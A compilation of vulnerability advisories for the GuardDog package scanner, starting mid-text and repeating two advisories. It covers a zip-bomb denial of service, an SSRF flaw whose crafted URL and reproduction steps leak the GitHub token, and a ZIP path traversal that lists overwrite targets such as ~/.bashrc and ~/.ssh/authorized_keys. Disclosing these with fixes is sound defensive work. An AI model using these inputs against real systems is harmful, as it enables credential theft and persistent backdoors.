• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Summary

A path traversal vulnerability exists in GuardDog's safe_extract() function that allows malicious PyPI packages to write arbitrary files outside the intended extraction directory, leading to Arbitrary File Overwrite and Remote Code Execution on systems running GuardDog.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code

File: guarddog/utils/archives.py

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            # Note: zip.extract cleans up any malicious file name
            # such as directory traversal attempts This is not the
            # case of zipfile.extractall
            zip.extract(file, path=os.path.join(target_directory, file))  # ❌ VULNERABLE

Root Cause

The comment about zip.extract() fooled me at first :) then I noticed the os.path.join() call. The vulnerability stems from incorrect usage of Python's zipfile.ZipFile.extract() API:

• The path parameter should be the target directory, not a full file path
• extract() automatically appends the member name to the path
• By passing os.path.join(target_directory, file), GuardDog causes the filename to be appended twice
• This breaks zipfile's built-in path traversal sanitization

Attack Vector

1. Attacker creates malicious wheel with path traversal filenames
2. Uploads to PyPI or distributes directly
3. Package scan: guarddog pypi scan malicious-pkg
4. GuardDog downloads and extracts the package
5. Malicious files written to arbitrary locations
6. Code execution could be achieved

Impact

Impact depends on how GuardDog is running and under which environment.

Critical Scenarios

1. Immediate Code Execution

   • Write to ~/.bashrc → executes on next shell
   • Write to ~/.profile → executes on login

2. Persistent Backdoors

   • Write to ~/.ssh/authorized_keys → SSH access
   • Write to /etc/cron.d/malicious → scheduled execution (if root)
   • Write to systemd user services → persistent execution

and more...

Credits

Reported by: Charbel (dwbruijn)

Summary

GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.

Vulnerability Details

Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local

Root Cause

The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:

elif zipfile.is_zipfile(source_archive):
    with zipfile.ZipFile(source_archive, "r") as zip:
        for file in zip.namelist():
            zip.extract(file, path=os.path.join(target_directory, file))

Missing protections:

• ❌ No decompressed size limit
• ❌ No compression ratio validation
• ❌ No file count limits
• ❌ No total extracted size validation

Impact

Denial of Service Scenarios

1. CI/CD Pipeline Disruption

• Attacker publishes malicious package to PyPI
• Developer adds package to requirements.txt
• CI/CD runs GuardDog scan
• Disk fills (GitHub Actions: standard 14GB limit)
• All deployments blocked

2. Resource Exhaustion

• Local development environments
• Security scanning infrastructure
• Automated scanning systems
• Docker containers with limited disk

3. Supply Chain Attack Amplification

• Single malicious package blocks security scanning
• Prevents detection of other malicious packages
• Forces manual intervention
• Increases security team workload

Recommended Fix

Add size validation for ZIP files similar to what tarsafe provides for TAR files

Configuration Options

Make limits configurable via environment variables or config file

Additional Improvements

1. Add warning logs when archives approach limits
2. Provide clear error messages for users
3. Document limits in user-facing documentation
4. Add tests for zip bomb detection
5. Consider using a safe ZIP library (similar to tarsafe)

Credit

Reported by: Charbel (dwbruijn)

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.

Description

ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:

githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)

Because this logic does not parse or validate the hostname, a crafted URL such as:

http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt

Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
2. Set GIT_USERNAME=alice and GH_TOKEN=supersecret.
3. Call PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

• guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:

• theft of the GitHub PAT configured in GH_TOKEN
• SSRF to internal or localhost services reachable by the scanner
• attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.